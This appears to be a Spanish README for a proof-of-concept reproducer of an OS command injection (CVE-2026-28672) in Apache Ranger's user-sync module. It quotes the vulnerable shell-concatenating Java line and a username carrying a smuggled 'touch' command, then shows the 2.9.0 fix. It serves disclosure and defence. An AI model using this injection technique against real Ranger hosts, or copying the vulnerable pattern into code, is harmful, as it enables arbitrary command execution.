
Reproductor de prueba de concepto para la inyección de comandos del sistema operativo en UnixUserGroupBuilder de Apache Ranger (CVE-2026-28672), que demuestra la vulnerabilidad y verifica la corrección.
UnixUserGroupBuilder de Apache RangerReproductor de prueba de concepto ejecutable para la inyección de comandos del sistema operativo en el módulo de sincronización de usuarios (unixusersync) de Apache Ranger.
Mientras enumera los grupos de cada usuario sincronizado, UnixUserGroupBuilder ejecuta el comando id a través de un shell,
concatenando el nombre de usuario en la línea de comandos:
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
El nombre de usuario proviene de la fuente de sincronización de usuarios configurada (LDAP/AD o un archivo), por lo que está influenciado por el atacante. Un
nombre de usuario que contenga metacaracteres de shell — p. ej. alice; touch /tmp/pwned — se ejecuta como un comando del sistema operativo
(CWE-77, Neutralización incorrecta de elementos especiales utilizados en un comando).
mvn -q -DskipTests package
docker compose up --build
# o, sin Docker (necesita bash/id/touch en el PATH):
java -jar target/cve-2026-28672.jar
Salida esperada en la ruta de código vulnerable:
[1] Nombre de usuario benigno 'nobody':
id -G nobody -> 65534
[2] Nombre de usuario malicioso 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
¿comando inyectado ejecutado? el marcador /tmp/pwned-28672 existe = true
[3] El mismo nombre de usuario malicioso a través de la SOLUCIÓN 2.9.0 (id ejecutado directamente, sin shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
¿comando inyectado ejecutado? el marcador existe = false
>>> DEMOSTRADO: ... inyección de comandos del sistema operativo (CWE-77): true
| Propiedad | Valor |
|---|---|
| Proyecto | Apache Ranger — org.apache.ranger.unixusersync (sincronización de usuarios) |
| Clase | CWE-77 Neutralización incorrecta de elementos especiales utilizados en un comando ('Inyección de comandos') |
| Vector de ataque | Un nombre de usuario que contiene metacaracteres de shell suministrado por la fuente de sincronización de usuarios |
| Impacto | Ejecución arbitraria de comandos del sistema operativo en el host de sincronización de usuarios de Ranger |
| Versiones afectadas | desde 0.6 hasta 2.8 |
| Versión corregida | 2.9.0 |
| Aviso | hilo de lists.apache.org · CVE-2026-28672 |
| Crédito | Andrea Cosentino |
Apache Ranger 2.9.0 ejecuta id directamente como un vector de argumentos, por lo que el nombre de usuario es un único argumento literal y
nunca es interpretado por un shell:
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
UnixUserGroupBuilderVuln.java en este repositorio contiene ambas formas textualmente, citadas de la fuente upstream.
Este repositorio se publica con fines educativos y defensivos: para ayudar a los usuarios de Apache Ranger a comprender la
vulnerabilidad, verificar si están afectados y confirmar que la actualización la resuelve. La carga útil es inofensiva
(crea un archivo marcador en /tmp). No utilice este material contra sistemas que no posea u opere.